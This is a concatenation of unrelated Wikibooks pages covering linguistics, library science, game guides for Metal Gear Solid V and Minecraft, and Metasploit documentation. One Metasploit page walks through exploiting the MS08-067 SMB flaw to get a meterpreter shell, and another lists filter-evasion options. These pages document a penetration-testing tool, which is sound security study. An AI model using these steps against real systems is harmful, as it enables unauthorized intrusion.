OpenLLM-France/wikimedia huggingface dataset:
# Introduction to Linguistics/Functional Grammar

Template:Functional Grammar
    Communication can be defined to include both signals and symbols. Signals are sounds or gestures that have a natural or self-evident meaning [example of someone crying (=emotion), laughing (=emotion), animal cries (=indicating fear, food, or hunt). In this regard, we can consider that most animal communication is genetically determined and includes hoots, grunts, or screams that are meant to mean only one thing and are used every time in the same situation. So there is only one way to express one thing and it never changes. Animal communication tends to consist primarily of signals.
    In contrast, human communication is dependent on both signals and symbols. Symbols are sounds or gestures that have meaning for a group of people-it is the cultural tradition that gives it meaning (e.g. green light=go; teaching a child letters (see Faces of Culture video). Symbols have to be learned and are not instinctive; the meanings are arbitrary.
    Some of the debate regarding human versus primate communication stems from observations by scientists in the field. For example, scientists who have observed vervet monkeys in the wild consider at least three of their alarm calls to be symbolic because each of them means a different kind of predator- eagles, pythons, leopards-monkeys react differently to each call. Interestingly, infant vervets often make the "eagle" warning call when they see any flying bird and learn the appropriate call as they grow up. This is similar to human infants who often first apply the word "dada" to all adult males, gradually learning to restrict it one person. It is possible, therefore, to consider such calls as symbolic.
    So-if monkeys and apes appear to use symbols as least some of the time, how can we distinguish human communication? For one thing, all human languages employ a much larger set of symbols. Another and perhaps more important difference is that other primate's vocal systems tend to be closed (different calls are not often combined to produce new, meaningful utterances). In contrast, human languages are open systems (capable of sending messages that have never been sent before and the ability to combine symbols in an infinite variety of ways for an infinite variety of meanings). The following exercises are designed to help you think about the similarities and differences between humans and nonhuman primates in terms of the way we all communicate.
# Introduction to Library and Information Science/List of Contributors

This textbook began as an experiment by Kate Williams and students at Dominican University library school. Here are the members of that class who contributed annotations to the project:
* Amanda Genge
* Angela Busboom Yackley
* Ann Gass
* Anna Parks
* Corey Bard
* Dana Folkerts
* Gwen Jackson
* Judy Smith
* Kara Bourke
* Katie Sollors
* Perry Bassett
Since then, others have worked on this textbook:
# Introduction to Library and Information Science/Local Style Guide
## Capitalization

Names of chapters should be in title caps. Names of sections (and smaller divisions) should be in sentence caps.

## Citations

This book intends to serve not only as an introduction to LIS, but also to LIS literature (sort of a book-length bibliographic essay). Therefore, citing classic and important works is strongly encouraged. The APA citation style is relatively standard within LIS literature, so its use is recommended.

## Pictures and diagrams

LIS can be a dry topic, and there's nothing worse than reading a huge wall of text about a dry topic. Therefore, relevant pictures and diagrams are more than welcome throughout this book. However, please always fully describe the picture using an "alt" tag so that people unable to see the picture itself can still benefit from its inclusion in the book.

## Quotations

Use the {{cquote}} template for quotations.

## Reading level

This book is at an advanced reading level. According to the category's description...
# Introduction to Business

The mission of this book is to provide students with a basic understanding of the many different aspects in business.

### Table of Contents

* Overview
* Economics
* Accounting and Financial Statements
* Finance Basics
* Management
* Human Resource Management
* Production and Operations Management
* Marketing
* Global Business
* Ethics
* Personal Finances
# Metaphysical Arts and Crafts

Nature manifests in artistic ways. We can see this when stars are formed, in the formation of rocks and crystals, when different metals are fused into alloys. There exist hundreds of materials with a wide range of colors, reflectivities, and other beautiful characteristics. Humans ourselves are also works of art, with each individual unique and capable of creation. In this book, we will design and create objects inspired by metaphysical ideas from writers such Aristotle, Isaac Newton, and Rene Descartes, exploring these ideas in a fun and creative manner.

## Contents

* Crystal glove holder
* 3D printed crystal wall organizer
* 3D printed tetrahedron or triangular pyramid
* 3D printed methane model
* Making an orgone pyramid
* The sound of silence

## References

* ↑ http://www.iep.utm.edu/aris-met/
# Metasploit/EvasionOptions/HTTP::chunked

* Metasploit FAQs
Chunked encoding is defined in the HTTP specification. Chunked encoding modifies the body of an HTTP message in order to transfer it as a series of pieces or "chunks" of various sizes. The size of each chunk is defined by its own size indicator. A chunked HTTP message is followed by an OPTIONAL trailer containing entity-header fields. Metasploit has the option of turning on chunked HTTP encoding for filter evasion. Most modern filters will, of course, sew the chunks back up into complete messages. This still serves a useful purpose of ensuring that filters are working as they should and that they are not vulnerable to any of the DOS bugs that have been found in filter handling of chunked HTTP.
Example of regular HTTP message: HTTP/1.1 200 OK Date: Fri, 31 Dec 1999 23:59:59 GMT Content-Type: text/plain Content-Length: 42 some-footer: some-value another-footer: another-value
This is a long string of suspect content that a filter or string search might flag
Example of a chunked HTTP message:
# Metasploit

This project is an attempt to document the tools and research created by the Metasploit Project.
    Style Guide
* Meterpreter Client
* Case of Study
* Writing Windows Exploits
* Tips and Tricks
* Developing Auxiliary Modules
* Using Metasploit
* Utilizing Mixins for Exploit/Auxiliary modules development
* Writing Modules for Automation
* Frequently Asked Questions
* Need help? Join the mailing list! or check out the Video Tutorials
* Writing Payload Modules
* Module Development List
* Evasion Options
* Metasploit Articles
* Writing a Linux Exploit
# Metal Gear Solid 5: The Phantom Pain/Demon Snake
## Demon Snake

Demon Snake is a hidden mechanic and minor story character in Metal Gear Solid V: The Phantom Pain.
Demon Snake, a variation of Venom Snake, is signified by the caked-on blood and outstretched shrapnel horn. While most players will see Demon Snake make a minor appearance in the missions "Shining Lights, Even In Death" and "Truth: The Man Who Sold The World", Demon Snake will become your main playable character, should you commit enough violent and careless acts. Upon accruing 50,000 or more Demon Points, Snake and the player's avatar will be semi-permanently caked in blood and have the shrapnel horn be at its max length until performing enough heroic acts to revert Snake to his original appearance. Unlike the Heroism counter in the bottom right of your iDroid, the Demon counter cannot be seen. It is mostly up to the player to determine how many points they may have obtained while playing.
You will accrue Demon Points in the following ways:
* Failed Fulton recovery extraction +20
* Killing animals +20
* Letting a support chopper be destroyed +150
* Killing Diamond Dogs staff members +180
* Letting Buddies get fatally wounded +180
* Killing prisoners with fire +200
* Developing a nuclear weapon +50,000
Due to the development of a nuclear weapon yielding 50,000 Demon points, the player will become Demon Snake regardless of their actions throughout the entire game. Stealing nuclear weapons from another player's FOB will not give you Demon points. You must be the one to develop the weapon to receive any points. You will, however, still lose Demon points for disposing of stolen nuclear weapons.
It is also worth noting that the aforementioned story mission, "Shining Lights, Even In Death", requires the player to kill 29 of their own staff members, resulting in not only a massive loss of Heroism points, but a gain of 5,220 Demon points.
Demon points can be removed through the following methods:
* -10,000 - Getting the Conservation trophy/achievement.
* -30,000 - Disposing of ten nuclear weapons.
* Extracting animals, child soldiers, VIPs, prisoners and staff
The easiest method of reverting back to Venom Snake is by deploying a team on the dispatch mission, "REFUGEE RESCUE", which only becomes available after becoming Demon Snake for the first time. The mission requires S+ staff members and takes 7 days to be completed. Due to it being an online mission, the game does not have to be running to make progress. So long as you are connected to the internet, and the servers are not undergoing maintenance you can complete the mission. The mission offers no rewards, but it will completely reset Snake's Demon points, cleaning him of blood and shrinking the shrapnel horn down to the size that is it at the start of the game.
* Demon Snake has no effect on morale.

## References

* ↑ https://metalgear.fandom.com/wiki/Demon_Points
* ↑ https://gamefaqs.gamespot.com/boards/718564-metal-gear-solid-v-the-phantom-pain/72446174
# Metasploit/Caseofstudy
## A simple manual exploitation using metasploit

Assumptions:
* you are using metasploit's latest version and exploits (svn / subversion)
* The target machine is a windows box with windows XP (SP1,SP2,SP3) or Windows 2003 (SP0)
* The target machine has port 445 open (check it via nmap -p 445 <target machine's ip>
Steps:
* 1. load msfconsole of metasploit
* 2. msf > info exploit/windows/smb/ms08_067_netapi
* 3. msf> use exploit/windows/smb/ms08_067_netapi
* 4. msf exploit(ms08_067_netapi) > show options
* 5. msf exploit(ms08_067_netapi) > set RHOST <target ip>
* 6. msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
* !. You can also use generic/shell_bind_tcp as payload to get a command prompt.
* 7. msf exploit(ms08_067_netapi) > set TARGET <choose the target with the corresponding id given via the 'show targets' command >.
* 8. msf exploit(ms08_067_netapi) > exploit
If everything goes like this, you will get a meterpreter shell. From there onwards you can do post exploitation stuff ( explained in Post exploitation activities|http://en.wikibooks.org/wiki/Metasploit/post_exploitation)
Video Guide on using MS08_067_Netapi: http://guides.intern0t.net/msf1.php
# Metasploit/EvasionOptions

* Metasploit FAQs

## Abstract

This module explains how to use the evasion options found in the Metasploit Framework v3.x. It explains how each option works and gives examples of log files likely to be left by the options

## Web

HTTP::chunked Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression Enable compression of HTTP responses via content encoding
HTTP::header_folding Enable folding of HTTP headers
HTTP::junk_headers Enable insertion of random junk HTTP headers
PHP::Encode Enable PHP code obfuscation
TCP::max_send_size Maximum tcp segment size
TCP::send_delay Delays inserted before every send
HTML::base64 Enable HTML obfuscation via an embeded base64 html object
HTML::javascript::escape Enable HTML obfuscation via HTML escaping
HTML::unicode Enable HTTP obfuscation via unicode

## Other

DCERPC::fake_bind_multi (Distributed Computing Environment/Remote Procedure Call) Use multi-context bind calls
DCERPC::fake_bind_multi_append Set the number of UUIDs to append the target
DCERPC::fake_bind_multi_prepend Set the number of UUIDs to prepend before the target
DCERPC::max_frag_size Set the DCERPC packet fragmentation size
DCERPC::smb_pipeio Use a different delivery method for accessing named pipes
# Minecraft/Gunpowder

Minecraft
Blocks | Items | Mobs
Structures
Miscellaneous
Guides
Gunpowder is used in crafting and in potion brewing.

## Obtaining

Gunpowder is dropped from creepers and ghasts. You can also find gunpowder in most naturally generated chests.

## Crafting

Crafting recipe:
| Gunpowder | Sand | Gunpowder |
| Sand | Gunpowder | Sand |
| Gunpowder | Sand | Gunpowder |
This makes a block of TNT.

## Use

When brewed with potions, the potions turn into splash potions, which can be thrown to effect multiple players and/or monsters. This is good for negative potions like poison and slowness.
# Minecraft/Frog
## Frog

Minecraft
Blocks | Items | Mobs
Structures
Miscellaneous
Guides
A passive creature with a taste for slimes and magma cubes.

## Abilities and strengths/weaknesses

Other
This mob has no special abilities or disabilities.

### Drops

* 1-3 exp. points

## Description

Frogs will wonder around by hopping with their hind legs.
They will eat the smaller sizes of slimes and magma cubes. If they eat a magma cube, they can drop a different type of froglight based on the biome they were spawned in.
Can be bred with slimeballs, after which they will lay eggs on a nearby water source block, in the form of frogspawn. After some time, the eggs will hatch into tadpoles, which can be caught in a bucket. After more time, the tadpoles grow into frogs with the color based on the biome they grew up in.

## Strategies

None

## Mobs

* Animals
       Sheep
       Pig
       Cow
       Chicken
       Bat
       Cat
       Ocelot
       Wolf
       Fox
       Horse
       Donkey
       Mule
       Llama
       Bunny
       Frog
       Axolotl
       Tadpole
       Panda
       Mooshroom
* Monsters
       Creeper
       Zombie
       Skeleton
       Stray
       Witch
       Slime
       Phantom
       Warden
* Ocean
       Cod
       Pufferfish
       Salmon
       Tropical Fish
       Squid
       Glow Squid
       Dolphin
       Turtle
       Guardian
       Elder Guardian
* Nether
       Blaze
       Ghast
       Piglin
       Zombified Piglin
       Hoglin
       Strider
       Wither Skeleton
* End
       Enderman
       Endermite
       Shulker
* Illager/Villagers
       Villager
       Wandering Trader
       Illager
       Pillager
       Evoker
       Vex
       Ravanger
* Utility
       Snow Golem
       Iron Golem
       Allay
* Bosses
       Wither
       Ender Dragon
* Secret mobs
       Npc
# Minecraft/Health

Minecraft
Blocks | Items | Mobs
Structures
Miscellaneous
Guides
Most games have hit points, health or life to define when your character dies. Minecraft uses "health".

## Health

You can see how much health you have by looking at the hearts above-left of your hotbar. Each heart is two points of health.
If a heart turns black, you lost 2 health. If only half a heart turned black, you have lost 1 health.

## Dying

If your health reaches zero, you die. This makes you lose everything in your inventory (unless you turned the "keep inventory" setting). It makes you also return to the last bed you slept in, if possible, or the world spawn (where you was when you started the game.
# Minecraft/How To Brew

Minecraft
Blocks | Items | Mobs
Structures
Miscellaneous
Guides
    This guide assumes that you have made a Nether portal.
To start brewing, you first need a brewing stand.

## Making the stuff

* Enter the Nether, assuming you haven't already. You might first want to see the preparations guide.
* Find a Nether fortress. It should be a large building in a shade of dark red. But remember to leave a trail of torches to help you get back to your portal.
** Don't attack the piglins, unless you didn't take gold armour and they are attacking you.
* Once found, try to enter it. Chances are, it is isolated from land and surrounded by an ocean of lava. You may need to build a bridge to get to it. Just be mindful of ghasts. You know one spotted you if you hear a high-pitched, angry-sounding squeal.
* Explore until you find a staircase with a red plant growing at the bottom. This is Nether wart, an ingredient necessary in making most potions. Consider collecting the soul sand it is growing on as well.
* Now that was the easy part. The hard part is killing blazes (orange floating fire monsters found in Nether fortresses), and collecting their rods.
* Try to get around 5. If you find a spawner, use it to farm them. Later on, you can create a room around the spawner to kill the blazes from behind a wall. But for now, get out the moment you start feeling overwhelmed.
* Exit the Nether. Now the hard part is over. The rest is just crafting, mostly.
* Collect 3 glass blocks. You can get glass by smelting sand.
* Craft the glass into bottles.
* Craft a brewing stand.

## Making a potion

* Fill glass bottles with water. This can be done by holding one and interacting with water.
* Place your brewing stand.
* Craft blaze powder with your remaining blaze rods. Place them in the top left slot in the brewing stand. This is your fuel.
* Place water bottles on the bottom three slots of the brewing stand.
* Place one Nether wart in the top slot.
* As you wait, find somewhere to place soul sand, and plant your Nether wart on it. They will grow and can be harvested after a while.
* After the brewing stand is finished, place sugar, magma cream or blaze powder at the top slot again. This will create a potion of speed, fire resistance, or strength, respectively.
* To see what else you can make, see the brewing reference.
# Minecraft/Furnace

Minecraft
Blocks | Items | Mobs
Structures
Miscellaneous
Guides

## Obtaining

Crafting recipe:
| Cobblestone | Cobblestone | Cobblestone |
| Cobblestone | | Cobblestone |
| Cobblestone | Cobblestone | Cobblestone |
This makes a furnace.

## Use

It can be used to smelt and cook items, allowing the player to turn metals into ingots as well as cook food. However needs fuel and something to smelt. If there is fuel inside it, but nothing to smelt, the fuel is not used up. If the items inside have been smelted, but a consumed peice of fuel is still providing fuel, the provided fuel will drain, so you should top up the smelt slot as soon as possible to avoid waste. If the fuel runs out, the smelting progress will deplete until it empties completely.
It takes exactly ten seconds to smelt any item.

## Crafting

Crafting recipe:
| | Log | |
| Log | Furnace | Log |
| | Log | |
This makes a smoker.
Crafting recipe:
| | Iron Ingot | |
| Iron Ingot | Furnace | Iron Ingot |
| Smooth Stone | Smooth Stone | Smooth Stone |
This makes a blast furnace.

## Achievements
### Hot topic

Craft a furnace.

### Aquire hardware

Smelt raw iron or iron ore in a furnace, then collect an iron ingot from it.

### Smelt everything!

Connect three chests to a furnace with three hoppers.
# Minecraft/Glow Squid
## Glow Squid

Minecraft
Blocks | Items | Mobs
Structures
Miscellaneous
Guides
Glowing squid.

## Abilities and strengths/weaknesses

Aquatic
Can swim in water, but will die if it is out of the water for too long. Takes increased damage from the impaling enchantment.

### Drops

* 0 - 2 glow sacs.
* 1 - 3 exp. points

## Description

When you hit them, they eject a cloud of blue ink.

## Strategies

None

### Trivia

* Baby glow squid can be found in bedrock edition, but they do not breed.

## Mobs

* Animals
       Sheep
       Pig
       Cow
       Chicken
       Bat
       Cat
       Ocelot
       Wolf
       Fox
       Horse
       Donkey
       Mule
       Llama
       Bunny
       Frog
       Axolotl
       Tadpole
       Panda
       Mooshroom
* Monsters
       Creeper
       Zombie
       Skeleton
       Stray
       Witch
       Slime
       Phantom
       Warden
* Ocean
       Cod
       Pufferfish
       Salmon
       Tropical Fish
       Squid
       Glow Squid
       Dolphin
       Turtle
       Guardian
       Elder Guardian
* Nether
       Blaze
       Ghast
       Piglin
       Zombified Piglin
       Hoglin
       Strider
       Wither Skeleton
* End
       Enderman
       Endermite
       Shulker
* Illager/Villagers
       Villager
       Wandering Trader
       Illager
       Pillager
       Evoker
       Vex
       Ravanger
* Utility
       Snow Golem
       Iron Golem
       Allay
* Bosses
       Wither
       Ender Dragon
* Secret mobs
       Npc
# Minecraft/Guardian
## Guardian

Minecraft
Blocks | Items | Mobs
Structures
Miscellaneous
Guides
The ruthless guardians of ocean monuments.

## Abilities and strengths/weaknesses

Prefers water
This mob prefers to stay in water, but can survive on land, just with reduced mobility.

### Drops

* 1 - 3 prismarine shard
* 0 - 1 raw cod
* 10 exp. points

## Description

These monstrosities deal heavy damage. They kill squids on sight.
They attack by shooting a beam out of their single eye. This will not deal damage until about five seconds of charging. You can avoid damage by hiding behind cover.
They will attack anything that gets too close to it by extending its spikes.

## Strategies

Avoid ranged damage by hiding behind cover, and get in close as soon as possible and kill it with a sword. It's extremely hard to avoid damage, so be sure to have strong armor.
Arrows don't work well in water, but tridents do. A trident can be a way to avoid melee damage, but remember that there is rarely just one guardian.

## Mobs

* Animals
       Sheep
       Pig
       Cow
       Chicken
       Bat
       Cat
       Ocelot
       Wolf
       Fox
       Horse
       Donkey
       Mule
       Llama
       Bunny
       Frog
       Axolotl
       Tadpole
       Panda
       Mooshroom
* Monsters
       Creeper
       Zombie
       Skeleton
       Stray
       Witch
       Slime
       Phantom
       Warden
* Ocean
       Cod
       Pufferfish
       Salmon
       Tropical Fish
       Squid
       Glow Squid
       Dolphin
       Turtle
       Guardian
       Elder Guardian
* Nether
       Blaze
       Ghast
       Piglin
       Zombified Piglin
       Hoglin
       Strider
       Wither Skeleton
* End
       Enderman
       Endermite
       Shulker
* Illager/Villagers
       Villager
       Wandering Trader
       Illager
       Pillager
       Evoker
       Vex
       Ravanger
* Utility
       Snow Golem
       Iron Golem
       Allay
* Bosses
       Wither
       Ender Dragon
* Secret mobs
       Npc
# Minecraft/Guides

Minecraft
Blocks | Items | Mobs
Structures
Miscellaneous
Guides

## Getting started

* First Day
* Second Day

## More advanced topics

* Boss Fight: Wither
* Boss Fight: Ender Dragon
* Making Traps
* A Guide to Redstone
* Commands
* How To Build a Nether Portal
* How To Brew
* Brewing Reference